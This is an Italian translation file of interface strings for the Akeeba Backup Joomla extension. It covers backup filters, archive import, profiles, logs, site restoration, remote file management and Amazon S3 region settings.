COM_AKEEBABACKUP_DBFILTER_TABLE_MISC="Tipo di tabella merge, temporanea, in memoria, federata, blackhole o varia<br/>I suoi dati non vengono mai inclusi nel backup di Akeeba Backup."
COM_AKEEBABACKUP_DBFILTER_TABLE_PROCEDURE="Procedura memorizzata"
COM_AKEEBABACKUP_DBFILTER_TABLE_TABLE="Tabella database"
COM_AKEEBABACKUP_DBFILTER_TABLE_TRIGGER="Trigger database"
COM_AKEEBABACKUP_DBFILTER_TABLE_VIEW="Vista MySQL"
COM_AKEEBABACKUP_DBFILTER_TABLE_TEMP="Tabella temporanea"
COM_AKEEBABACKUP_DBFILTER_TABLE_UNKNOWN="Altro tipo di entità database"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLEDATA="Non eseguire il backup del contenuto di una tabella"
COM_AKEEBABACKUP_DBFILTER_TYPE_REGEXTABLES="Escludi una tabella"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLEDATA="Non eseguire il backup del suo contenuto"
COM_AKEEBABACKUP_DBFILTER_TYPE_TABLES="Escludi questa"

COM_AKEEBABACKUP_DISCOVER="Importa archivi"
COM_AKEEBABACKUP_DISCOVER_ERROR_NODIRECTORY="Non hai selezionato una directory valida"
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILES="Non ci sono file di archivio da importare nella directory selezionata. Torna indietro e seleziona un'altra directory."
COM_AKEEBABACKUP_DISCOVER_ERROR_NOFILESSELECTED="Non hai selezionato alcun file da importare."
COM_AKEEBABACKUP_DISCOVER_LABEL_DIRECTORY="Directory"
COM_AKEEBABACKUP_DISCOVER_LABEL_FILES="File di archivio rilevati"
COM_AKEEBABACKUP_DISCOVER_LABEL_GOBACK="Torna alla selezione della directory"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORT="Importa i file"
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTDONE="Operazione di importazione completata con successo."
COM_AKEEBABACKUP_DISCOVER_LABEL_IMPORTEDDESCRIPTION="Archivio di backup importato"
COM_AKEEBABACKUP_DISCOVER_LABEL_S3IMPORT="I tuoi archivi sono archiviati su Amazon S3? Clicca <a href=\"%s\">qui</a> per scaricarli e importarli in un unico passaggio!"
COM_AKEEBABACKUP_DISCOVER_LABEL_SCAN="Cerca file"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTDIR="Seleziona una directory contenente archivi di backup"
COM_AKEEBABACKUP_DISCOVER_LABEL_SELECTFILES="Seleziona i file da importare. Tieni premuto il tasto CTRL o Command mentre fai clic sui file per effettuare una selezione multipla."

COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_FAILED="La post-elaborazione (caricamento su archiviazione remota) è FALLITA."
COM_AKEEBABACKUP_EMAIL_POSTPROCESSING_SUCCESS="La post-elaborazione (caricamento su archiviazione remota) è riuscita."

COM_AKEEBABACKUP_FILEFILTERS="Esclusione file e directory"
COM_AKEEBABACKUP_FILEFILTERS_EDITOR_TITLE="Modifica"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ADDNEWFILTER="Aggiungi nuovo filtro:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_DIRS="Sottodirectory"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILES="File"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_FILTERITEM="Elemento filtro"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NORMALVIEW="Vista browser"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_NUKEFILTERS="Reimposta tutti i filtri"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_ROOTDIR="Directory radice:"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TABULARVIEW="Vista riepilogativa"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_TYPE="Tipo"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIERRORFILTER="Si è verificato un errore durante l'applicazione del filtro per &quot;%s&quot;."
COM_AKEEBABACKUP_FILEFILTERS_LABEL_UIROOT="&lt;radice&gt;"
COM_AKEEBABACKUP_FILEFILTERS_LABEL_VIEWALL="Elenca tutte le esclusioni"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLDIRS="Applica a tutte le cartelle elencate"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_APPLYTOALLFILES="Applica a tutti i file elencati"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES="Escludi directory"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_DIRECTORIES_ALL="Escludi tutte le directory"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES="Escludi file"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_FILES_ALL="Escludi tutti i file"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS="Salta sottodirectory"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPDIRS_ALL="Salta tutte le directory"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES="Salta file"
COM_AKEEBABACKUP_FILEFILTERS_TYPE_SKIPFILES_ALL="Salta tutti i file"
COM_AKEEBABACKUP_FILTER_SELECT_QUICKICON="– Icona backup con un clic –"

COM_AKEEBABACKUP_INCLUDEFOLDER="Inclusione directory esterne al sito"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY="Directory"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_DIRECTORY_HELP="La directory sul tuo server che verrà inclusa nel backup. Questa funzione è destinata solo alle directory situate al di fuori della radice del sito. Le directory all'interno della radice del sito vengono sempre incluse automaticamente nel backup, a meno che non le escludi utilizzando la funzione Esclusione file e directory."
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR="Sottodirectory virtuale"
COM_AKEEBABACKUP_INCLUDEFOLDER_LABEL_VINCLUDEDIR_HELP="I file vengono archiviati nell'archivio all'interno di una sottodirectory della directory virtuale per i file esterni al sito, definita nella tua configurazione (predefinita: external_files). Puoi personalizzare il nome di quella directory. Impostala su una singola barra (è questo carattere: /) e i tuoi file esterni verranno collocati nella radice del tuo sito. Ciò è utile se vuoi sovrascrivere determinati file nel backup, ad esempio il file configuration.php o personalizzare il template dello script di installazione."

COM_AKEEBABACKUP_LBL_BATCH_COPY="Copia"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSDLID="È necessario inserire il proprio <strong>ID di download</strong> prima di poter aggiornare Akeeba Backup Professional e utilizzare alcune delle sue funzionalità di archiviazione remota. <a href='%s' target='_blank'>Se non si conosce il proprio ID di download, fare clic qui</a>."
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_HEAD="L'inserimento dell'ID di download non è sufficiente per abilitare le funzionalità di Akeeba Backup Professional"
COM_AKEEBABACKUP_LBL_CPANEL_NEEDSUPGRADE_BODY="Sarà necessario scaricare e installare il pacchetto Akeeba Backup Professional sul sito <em>due volte</em>, senza disinstallare la versione Core. Per ulteriori informazioni e istruzioni dettagliate, consultare il <a href='%s'>video tutorial sull'aggiornamento di Akeeba Backup Core a Professional</a>."
COM_AKEEBABACKUP_LBL_PROFILES_SAVED="Il profilo è stato salvato correttamente"
COM_AKEEBABACKUP_LBL_PROFILE_COPIED="Il Profilo e le impostazioni associate sono stati copiati correttamente"
COM_AKEEBABACKUP_LBL_PROFILE_DELETED="Il Profilo è stato eliminato correttamente"
COM_AKEEBABACKUP_LBL_PROFILE_SAVED="Il Profilo è stato salvato correttamente"

COM_AKEEBABACKUP_LOG="Visualizza registro"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_TITLE="Scegliere un file di registro da visualizzare:"
COM_AKEEBABACKUP_LOG_CHOOSE_FILE_VALUE="- Selezionare un'origine del backup -"
COM_AKEEBABACKUP_LOG_ERROR_LOGFILENOTEXISTS="Il file di registro non esiste nella directory di output"
COM_AKEEBABACKUP_LOG_ERROR_UNREADABLE="Il file di registro non è leggibile"
COM_AKEEBABACKUP_LOG_LABEL_DOWNLOAD="Scarica file di registro"
COM_AKEEBABACKUP_LOG_NONE_FOUND="Nessun file di registro trovato"
COM_AKEEBABACKUP_LOG_SHOW_LOG="Mostra registro"
COM_AKEEBABACKUP_LOG_SIZE_WARNING="Il file di registro ha una dimensione di %s MB. Il tentativo di visualizzarlo nel browser potrebbe causarne il blocco o un errore di timeout sul server. Utilizzare invece il pulsante Scarica registro sopra per scaricare il file di registro sul computer. È possibile aprire e leggere il registro con qualsiasi editor di testo normale."

COM_AKEEBABACKUP_MULTIDB="Definizioni di database multipli"
COM_AKEEBABACKUP_MULTIDB_ERR_MISSINGINFO="È necessario specificare almeno un driver di database, un nome host, un nome utente, una password e un nome di database."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CANCEL="Annulla"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTFAIL="Impossibile connettersi al database. Verificare le impostazioni. Ultimo errore:"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_CONNECTOK="Connesso al database!"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DATABASE="Nome database"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_DRIVER="Driver database"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_HOST="Nome host del server di database"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_LOADING="Caricamento in corso, attendere..."
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PASSWORD="Password"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PORT="Porta del server di database"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_PREFIX="Prefisso"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVE="Salva"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_SAVEFAIL="Salvataggio non riuscito; riprovare"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_TEST="Verifica connessione"
COM_AKEEBABACKUP_MULTIDB_GUI_LBL_USERNAME="Nome utente"
COM_AKEEBABACKUP_MULTIDB_LABEL_DATABASE="Nome database"
COM_AKEEBABACKUP_MULTIDB_LABEL_HOST="Nome host del server di database"

COM_AKEEBABACKUP_PROFILES="Gestione profili"
COM_AKEEBABACKUP_PROFILES_BTN_EXPORT="Esporta"
COM_AKEEBABACKUP_PROFILES_BTN_PUBLISH="Abilita icona backup con un clic"
COM_AKEEBABACKUP_PROFILES_BTN_RESET="Ripristina"
COM_AKEEBABACKUP_PROFILES_BTN_UNPUBLISH="Disabilita icona backup con un clic"
COM_AKEEBABACKUP_PROFILES_ERROR_RESET_FAILED="Il ripristino della configurazione e dei filtri del profilo di backup non è riuscito. Motivo: %s"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_FAILED="Importazione del profilo non riuscita"
COM_AKEEBABACKUP_PROFILES_ERR_IMPORT_INVALID="File non valido. Non sembra un file .json di profilo esportato."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_DESC="Trovare un profilo inserendo la sua descrizione parziale. Trovare un profilo tramite il suo ID usando la sintassi <code>id:123</code> dove 123 è l'ID numerico del profilo."
COM_AKEEBABACKUP_PROFILES_FILTER_SEARCH_LABEL="Descrizione"
COM_AKEEBABACKUP_PROFILES_HEADER_IMPORT="Importa"
COM_AKEEBABACKUP_PROFILES_IMPORT="Importa"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION="Descrizione del profilo"
COM_AKEEBABACKUP_PROFILES_LABEL_DESCRIPTION_TOOLTIP="Inserire una descrizione per questo profilo. Non è necessario che sia univoca e viene utilizzata solo per distinguere i singoli profili."
COM_AKEEBABACKUP_PROFILES_LBL_EXPLAIN_PROFILES="Ogni profilo di backup è un insieme di opzioni di configurazione e opzioni di filtro di inclusione ed esclusione. Indica ad Akeeba Backup cosa e come eseguire il backup e dove archiviare gli archivi di backup."
COM_AKEEBABACKUP_PROFILES_LBL_IMPORT_HELP="Selezionare un file .json di profilo esportato da questo o da un sito diverso per importarne rapidamente le impostazioni."
COM_AKEEBABACKUP_PROFILES_MSG_IMPORT_COMPLETE="Profilo importato correttamente"
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED="%d profili di backup sono stati eliminati."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_DELETED_1="Il profilo di backup è stato eliminato."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED="Il backup con un clic è stato abilitato per %d profili."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_PUBLISHED_1="Il backup con un clic è stato abilitato per il profilo."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET="La configurazione e i filtri di %d profili di backup sono stati ripristinati."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_RESET_1="La configurazione e i filtri del profilo di backup sono stati ripristinati."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED="Il backup con un clic è stato disabilitato per %d profili."
COM_AKEEBABACKUP_PROFILES_N_ITEMS_UNPUBLISHED_1="Il backup con un clic è stato disabilitato per il profilo."
COM_AKEEBABACKUP_PROFILES_PAGETITLE_EDIT="Modifica un profilo di backup"
COM_AKEEBABACKUP_PROFILES_PAGETITLE_NEW="Nuovo profilo di backup"
COM_AKEEBABACKUP_PROFILES_TABLE_CAPTION="Tabella dei profili di backup"
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEACTIVE="Non è possibile eliminare il profilo attualmente attivo. Andare alla pagina del Pannello di controllo, selezionare un profilo diverso e poi tornare a questa pagina per eliminare il profilo #%d."
COM_AKEEBABACKUP_PROFILE_ERR_CANNOTDELETEDEFAULT="Non è possibile eliminare il profilo predefinito (quello con id=1)"
COM_AKEEBABACKUP_PROFILE_ERR_NOACCESS="Non si dispone dell'accesso a questo profilo di backup"

COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY="Akeeba Backup ha rilevato che il backup del sito \"%s\" situato in %s non è riuscito."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_BODY_WITH_MESSAGE="Akeeba Backup ha rilevato che il backup del sito \"%s\" situato in %s non è riuscito. Il messaggio di errore del backup è:\n%s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_FAIL_SUBJECT="Backup non riuscito per %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_BODY="Akeeba Backup ha completato correttamente il backup del sito \"%s\" situato in %s il %s."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_SUCCESS_SUBJECT="Backup riuscito per %s"
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_BODY="Akeeba Backup ha completato il backup del sito \"%s\" situato in %s il %s, ma sono stati emessi degli avvisi. Ciò potrebbe significare che alcuni file non sono stati inclusi nel backup o, se si sta caricando automaticamente il backup su un archivio remoto, il caricamento potrebbe non essere riuscito.\nÈ necessario esaminare gli avvisi e verificare che il backup sia stato completato correttamente. Si consiglia di testare sempre un backup che ha generato avvisi per assicurarsi che funzioni correttamente. È possibile farlo ripristinandolo su un server locale. Ricordarsi che un backup non testato equivale a non avere alcun backup."
COM_AKEEBABACKUP_PUSH_ENDBACKUP_WARNINGS_SUBJECT="Backup completato con avvisi per %s"
COM_AKEEBABACKUP_PUSH_STARTBACKUP_BODY="Akeeba Backup ha iniziato a eseguire il backup del sito \"%s\" situato in %s il %s."
COM_AKEEBABACKUP_PUSH_STARTBACKUP_SUBJECT="Backup avviato per %s"

COM_AKEEBABACKUP_REGEXDBFILTERS="Esclusione tabelle database con RegEx"
COM_AKEEBABACKUP_REGEXFSFILTERS="Esclusione file e directory con RegEx"

COM_AKEEBABACKUP_REMOTEFILES="Gestione file archiviati in remoto"
COM_AKEEBABACKUP_REMOTEFILES_DELETE="Elimina"
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDELETE="Impossibile eliminare il file archiviato in remoto. L'errore è stato: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTDOWNLOAD="Impossibile scaricare il file. L'errore è stato: "
COM_AKEEBABACKUP_REMOTEFILES_ERR_CANTOPENFILE="Impossibile aprire il file locale %s in scrittura; interruzione del processo di scaricamento"
COM_AKEEBABACKUP_REMOTEFILES_ERR_DELETE_ALREADY="Il file archiviato in remoto è già stato eliminato. È necessario trasferire nuovamente il file affinché le funzionalità di scaricamento ed eliminazione del file remoto tornino disponibili."
COM_AKEEBABACKUP_REMOTEFILES_ERR_DOWNLOADEDTOFILE_ALREADY="Hai già recuperato il file archiviato in remoto sul server del tuo sito. Seleziona il record di backup e fai clic su Elimina file per rimuovere il file archiviato sul server del tuo sito e riabilitare questo pulsante."
COM_AKEEBABACKUP_REMOTEFILES_ERR_INVALIDID="ID di scaricamento non valido specificato"
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED="Spiacenti, il motore di archiviazione remota che stai utilizzando non supporta lo scaricamento o l'eliminazione di file archiviati in remoto."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_ALREADYONSERVER="Hai già eliminato i file archiviati in remoto utilizzando Akeeba Backup."
COM_AKEEBABACKUP_REMOTEFILES_ERR_NOTSUPPORTED_HEADER="Nessuna operazione su file remoti disponibile"
COM_AKEEBABACKUP_REMOTEFILES_ERR_UNSUPPORTED="Questa funzionalità non è attualmente supportata dal motore di post-elaborazione utilizzato dal record di backup corrente."
COM_AKEEBABACKUP_REMOTEFILES_FETCH="Recupera sul server"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_HEADER="Operazione in corso"
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_PLEASEWAIT="Caricamento in corso, attendere prego."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_UNDERWAY="L'operazione richiesta è attualmente in corso."
COM_AKEEBABACKUP_REMOTEFILES_INPROGRESS_LBL_WAITINGINFO="Riceverai un aggiornamento sull'avanzamento nel giro di pochi secondi o al massimo tre minuti."
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADEDSOFAR="Scaricati %u byte di %u byte totali (%u %%)"
COM_AKEEBABACKUP_REMOTEFILES_LBL_DOWNLOADLOCALLY="Scarica sul desktop"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHED="Scaricamento del set di backup dall'archiviazione remota al server locale completato"
COM_AKEEBABACKUP_REMOTEFILES_LBL_JUSTFINISHEDELETING="I file archiviati in remoto sono stati eliminati con successo"
COM_AKEEBABACKUP_REMOTEFILES_PART="Parte #%u"

COM_AKEEBABACKUP_RESTORE="Ripristino del sito"
COM_AKEEBABACKUP_RESTORE_LABEL_ARCHIVE_INFORMATION="Verrà ripristinato il backup #%d"
COM_AKEEBABACKUP_RESTORE_LABEL_WARN_ABOUT_RESTORE="Il ripristino di un backup <em>sostituirà</em> il tuo sito con lo snapshot contenuto nell'archivio di backup. Qualsiasi modifica apportata al tuo sito dopo il momento del backup andrà <em>persa definitivamente</em>. Verifica attentamente di stare ripristinando l'archivio di backup corretto."
COM_AKEEBABACKUP_RESTORE_ERROR_ARCHIVE_MISSING="Impossibile trovare l'archivio di backup"
COM_AKEEBABACKUP_RESTORE_ERROR_CANT_WRITE="Impossibile scrivere restoration.php. Assicurati che la directory <code>administrator/components/com_akeebabackup</code> sia scrivibile."
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_RECORD="Record di backup non valido"
COM_AKEEBABACKUP_RESTORE_ERROR_INVALID_TYPE="Tipo di file non valido. Il ripristino integrato funziona solo con file JPA e ZIP."
COM_AKEEBABACKUP_RESTORE_ERROR_NO_LATEST="Non è stato effettuato alcun backup con il profilo #%d oppure l'archivio di backup non è presente sul server. Usa la pagina Gestione backup per identificare i tuoi backup, recuperarli sul server (se archiviati in remoto) e ripristinarli."
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESEXTRACTED="Byte estratti"
COM_AKEEBABACKUP_RESTORE_LABEL_BYTESREAD="Byte letti"
COM_AKEEBABACKUP_RESTORE_LABEL_DONOTCLOSE="Si prega di <strong>NON</strong> navigare verso un'altra pagina, passare a un'altra scheda/finestra del browser o passare a <em>un'applicazione diversa</em> finché non viene visualizzato un messaggio di completamento o di errore. Assicurati che il dispositivo non vada in modalità di sospensione mentre è in corso l'estrazione dell'archivio di backup."
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD="Metodo di estrazione dei file"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_DIRECT="Scrivi direttamente sui file"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_FTP="Usa il livello FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_EXTRACTIONMETHOD_HYBRID="Ibrido (scrivi direttamente, usa il livello FTP solo quando necessario)"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED="L'estrazione non è riuscita"
COM_AKEEBABACKUP_RESTORE_LABEL_FAILED_INFO="L'estrazione dell'archivio di backup non è riuscita.<br/>L'ultimo messaggio di errore era:"
COM_AKEEBABACKUP_RESTORE_LABEL_FILESEXTRACTED="File estratti"
COM_AKEEBABACKUP_RESTORE_LABEL_FINALIZE="Finalizza il ripristino"
COM_AKEEBABACKUP_RESTORE_LABEL_FTPOPTIONS="Opzioni del livello FTP"
COM_AKEEBABACKUP_RESTORE_LABEL_INPROGRESS="Estrazione archivio in corso"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC="Tempo massimo di esecuzione (secondi)"
COM_AKEEBABACKUP_RESTORE_LABEL_MAX_EXEC_TIP="I file verranno estratti per al massimo questo numero di secondi in ogni passaggio. Aumenta per rendere l'estrazione più veloce. Diminuisci per evitare timeout del server."
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC="Tempo minimo di esecuzione (secondi)"
COM_AKEEBABACKUP_RESTORE_LABEL_MIN_EXEC_TIP="Ogni passaggio di estrazione dei file non restituirà il controllo prima di questo numero di secondi. Imposta un valore superiore all'impostazione massima per aggiungere \"tempo morto\" in ogni passaggio, riducendo l'utilizzo delle risorse."
COM_AKEEBABACKUP_RESTORE_LABEL_REMOTETIP="<strong>Suggerimento</strong>: Per ripristinare su un server remoto, seleziona l'opzione \"Usa il livello FTP\" e fornisci le informazioni di connessione FTP del server remoto nelle Opzioni del livello FTP qui sotto.<br/>Usa l'opzione Ibrido e fornisci le informazioni di connessione FTP del sito corrente se il ripristino fallisce con file non scrivibili."
COM_AKEEBABACKUP_RESTORE_LABEL_RUNINSTALLER="Esegui lo script di ripristino del sito"
COM_AKEEBABACKUP_RESTORE_LABEL_START="Avvia il ripristino"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS="L'estrazione è stata completata con successo"
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2="Devi ora eseguire lo Script di ripristino di Akeeba Backup che era incluso nell'archivio di backup al momento del backup. <em>Non chiudere questa finestra!</em>. Al termine del ripristino, chiudi la finestra dello Script di ripristino di Akeeba Backup e fai clic sul nuovo pulsante Finalizza ripristino qui sotto per rimuovere la directory <code>installation</code> e iniziare a utilizzare il sito ripristinato."
COM_AKEEBABACKUP_RESTORE_LABEL_SUCCESS_INFO2B="Se, tuttavia, stai eseguendo il ripristino su un sito remoto, <em>non</em> fare clic su nessuno dei due pulsanti. Visita invece l'URL dello script di ripristino all'indirizzo <code>http://<var>www.yoursite.com</var>/installation/index.php</code>. Al termine del ripristino, fai clic sul link \"Rimuovi la cartella di installazione\" nell'ultima pagina dello script di ripristino oppure, se ciò non riesce, rimuovi la directory <code>installation</code> da quel sito utilizzando la tua applicazione FTP preferita."
COM_AKEEBABACKUP_RESTORE_LABEL_TIME_HEAD="Impostazioni di temporizzazione (avanzate)"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE="Elimina tutto prima dell'estrazione"
COM_AKEEBABACKUP_RESTORE_LABEL_ZAPBEFORE_HELP="Tenta di eliminare tutti i file e le cartelle esistenti nella directory radice del tuo sito prima di estrarre l'archivio di backup. NON tiene conto di quali file e cartelle esistono nell'archivio di backup o di quali file e cartelle vengono esclusi durante il backup. I file e le cartelle eliminati da questa funzione NON possono essere recuperati. <strong>ATTENZIONE! QUESTA OPERAZIONE POTREBBE ELIMINARE FILE E CARTELLE CHE NON APPARTENGONO AL TUO SITO. QUESTA FUNZIONE È DESTINATA ESCLUSIVAMENTE AGLI UTENTI MOLTO ESPERTI CHE COMPRENDONO I RISCHI. UTILIZZARE CON ESTREMA CAUTELA. ABILITANDO QUESTA FUNZIONE TI ASSUMI TUTTA LA RESPONSABILITÀ E L'OBBLIGO. INOLTRE RINUNCI A QUALSIASI DIRITTO DI RICHIEDERE ASSISTENZA AD AKEEBA LTD.</strong>"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE="Abilita la modalità invisibile durante il ripristino"
COM_AKEEBABACKUP_RESTORE_LABEL_STEALTHMODE_HELP="I visitatori del tuo sito che accedono da un indirizzo IP diverso dal tuo verranno temporaneamente reindirizzati a <code>installation/offline.html</code>, un file che li informa che il tuo sito è in manutenzione. Funziona solo su server che supportano i file <code>.htaccess</code>. Consulta la documentazione per ulteriori informazioni."

COM_AKEEBABACKUP_S3IMPORT="Importa archivi da S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTOPEN="Impossibile aprire il file temporaneo appena creato; il server presenta un problema che non è possibile aggirare"
COM_AKEEBABACKUP_S3IMPORT_ERR_CANTWRITE="Impossibile scrivere nella directory di output; verifica i permessi"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTENOUGHINFO="Informazioni insufficienti per la connessione a S3"
COM_AKEEBABACKUP_S3IMPORT_ERR_NOTFOUND="Il file non è stato trovato nel tuo bucket S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CHANGEBUCKET="Cambia bucket"
COM_AKEEBABACKUP_S3IMPORT_LABEL_CONNECT="Connetti a S3"
COM_AKEEBABACKUP_S3IMPORT_LABEL_SELECTBUCKET="- Bucket -"
COM_AKEEBABACKUP_S3IMPORT_MSG_IMPORTCOMPLETE="L'archivio è stato importato con successo nel tuo sito"

COM_AKEEBABACKUP_S3_ACCESS_DESCRIPTION="Come l'API accederà al bucket. In caso di dubbi, usa Virtual Hosting. Virtual Hosting è il metodo consigliato e supportato per Amazon S3, che utilizza un URL come https://BUCKET.ENDPOINT per accedere al bucket. Path Access è un metodo non supportato e deprecato che utilizza un URL come https://ENDPOINT/BUCKET per accedere al bucket. Dovresti usare Path Access solo se un provider di archiviazione di terze parti con un'API compatibile con Amazon S3 te lo richiede."
COM_AKEEBABACKUP_S3_ACCESS_PATH="Path Access (legacy)"
COM_AKEEBABACKUP_S3_ACCESS_TITLE="Accesso al bucket"
COM_AKEEBABACKUP_S3_ACCESS_VIRTUALHOST="Virtual Hosting (consigliato)"
COM_AKEEBABACKUP_S3_REGION_TITLE="Regione Amazon S3"
COM_AKEEBABACKUP_S3_REGION_DESCRIPTION="Scegli la regione S3 in cui si trova il tuo bucket. Consulta http://docs.aws.amazon.com/general/latest/gr/rande.html#s3_region <strong>ATTENZIONE! A causa delle API di Amazon, DEVI selezionare la posizione del tuo bucket quando usi il metodo di firma v4. Il metodo di firma v4 è OBBLIGATORIO per tutti i bucket creati in qualsiasi regione entrata in funzione dopo gennaio 2014, come Francoforte e San Paolo.</strong> Questa è una restrizione di Amazon, non di Akeeba Backup. Grazie per la comprensione."
COM_AKEEBABACKUP_S3_REGION_NONE="Nessuna (ATTENZIONE! UTILIZZARE SOLO CON IL METODO DI FIRMA v2)"
COM_AKEEBABACKUP_S3_REGION_CUSTOM_OR_NONE="Personalizzato / Nessuno"
COM_AKEEBABACKUP_S3_REGION_AFSOUTH1="Africa, Sud (Città del Capo)"
COM_AKEEBABACKUP_S3_REGION_APEAST1="Asia Pacifico, Est (Hong Kong)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST1="Asia Pacifico, Nordest (Tokyo)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST2="Asia Pacifico, Nordest (Seoul)"
COM_AKEEBABACKUP_S3_REGION_APNORTHEAST3="Asia Pacifico, Sudest (Osaka)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH1="Asia Pacifico, Sud (Mumbai)"
COM_AKEEBABACKUP_S3_REGION_APSOUTH2="Asia Pacifico, Sud (Hyderabad)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST1="Asia Pacifico, Sudest (Singapore)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST2="Asia Pacifico, Sudest (Sydney)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST3="Asia Pacifico, Sudest (Giakarta)"
COM_AKEEBABACKUP_S3_REGION_APSOUTHEAST4="Asia Pacifico, Sudest (Melbourne)"
COM_AKEEBABACKUP_S3_REGION_CACENTRAL1="Canada (Centrale)"
COM_AKEEBABACKUP_S3_REGION_CNNORTH1="Cina, Nord (Pechino)"
COM_AKEEBABACKUP_S3_REGION_CNNORTHWEST1="Cina, Nordovest (Ningxia)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL1="Europa, Centrale (Francoforte)"
COM_AKEEBABACKUP_S3_REGION_EUCENTRAL2="Europa, Centrale (Zurigo)"
COM_AKEEBABACKUP_S3_REGION_EUNORTH1="Europa, Nord (Stoccolma)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH1="Europa, Sud (Milano)"
COM_AKEEBABACKUP_S3_REGION_EUSOUTH2="Europa, Sud (Spagna)"
COM_AKEEBABACKUP_S3_REGION_EUWEST1="Europa, Ovest (Irlanda)"
COM_AKEEBABACKUP_S3_REGION_EUWEST2="Europa, Ovest (Londra)"
COM_AKEEBABACKUP_S3_REGION_EUWEST3="Europa, Ovest (Parigi)"
COM_AKEEBABACKUP_S3_REGION_MECENTRAL1="Medio Oriente, Centrale (EAU)"
